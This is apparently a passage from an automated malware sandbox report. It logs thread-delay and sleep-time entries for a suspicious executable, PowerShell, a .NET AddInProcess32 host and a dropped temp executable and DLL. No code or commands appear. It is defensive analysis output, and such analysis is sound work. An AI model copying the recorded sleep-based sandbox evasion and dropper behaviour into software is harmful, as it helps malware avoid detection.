Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 542952
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 542810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 542668
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 542559
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 542427
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 542307
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 542044
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 541732
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 541597
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 541477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 541334
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 541220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 541092
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 540945
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 540829
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 540715
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 540601
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 540476
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 540348
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 540224
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 540104
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 539942
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 539804
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 539683
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 539562
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 539445
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 539336
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 539229
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 539114
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 538990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 538848
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 538726
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 538608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 538481
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 538355
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 538241
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 538119
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 537996
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 537859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 537752
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 537638
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 537507
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Thread delayed: delay time: 537390

Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Window / User API: threadDelayed 6622	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Window / User API: threadDelayed 409	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6667	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Window / User API: threadDelayed 8505
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Window / User API: threadDelayed 9401
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Window / User API: threadDelayed 595
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 405

Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsh1C9B.tmp\INetC.dll

Jump to dropped file

Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -99521s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -99357s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -99217s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -99031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -98918s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -98812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -98703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -98586s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -98469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -98328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -98197s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -98031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -97922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -97811s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -97689s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -97547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -97429s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -97250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -96969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -96820s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -96641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -96515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -95996s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -95842s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -95719s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -95593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -95345s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -95094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -94969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -94811s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -94702s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -94547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -94281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -94093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -93953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -93750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -93547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -93396s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -92906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -92740s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -92594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -92453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -92259s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe TID: 5432	Thread sleep time: -92148s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 44572	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 44392	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -11068046444225724s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44644	Thread sleep count: 8505 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -599859s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -599719s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -599561s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -599430s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -599299s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -599174s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -599031s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -598893s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -598766s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -598620s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -598483s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -598351s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -598222s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44268	Thread sleep time: -2700000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -598084s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -597953s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -597813s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -597637s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -597472s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -597346s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -597203s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -597037s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -596914s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -596800s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -596672s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -596547s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -596406s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -596279s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -596135s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -595922s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -595776s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -595625s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -595495s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -595375s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -595250s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -594920s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -594786s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -594641s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -594406s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -594217s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -593922s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -593469s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -592990s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -592563s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -592250s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -591656s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -591203s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -590125s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -588906s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -588453s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -587906s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -585188s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -584641s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -584063s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -583359s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -582781s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -582250s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -581563s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -581094s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -580531s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -580031s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -579375s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -578844s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -578359s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -577797s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -577109s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -576531s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -576281s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -575797s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -575406s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -575015s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -574734s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -574484s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -574188s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -573904s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -573648s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -573358s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -572941s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -572634s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -572276s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -571901s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -571540s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -571252s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -570621s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -569433s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -567786s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -567430s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -567022s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -566808s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -566377s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -566059s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -565580s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -565013s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -564318s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -563781s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -563375s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -562136s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -561159s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -560511s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -559868s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -559543s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -559278s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -558825s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -558612s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -558271s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -557957s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -557511s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -557172s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -556925s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -556480s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -556177s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -555870s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -555625s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -555435s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -555128s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -554852s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -554123s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -553836s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -553532s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -550943s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -550615s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -550254s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -549815s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -549593s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -549415s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -549082s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -548720s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -548348s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 44604	Thread sleep time: -548105s >= -30000s
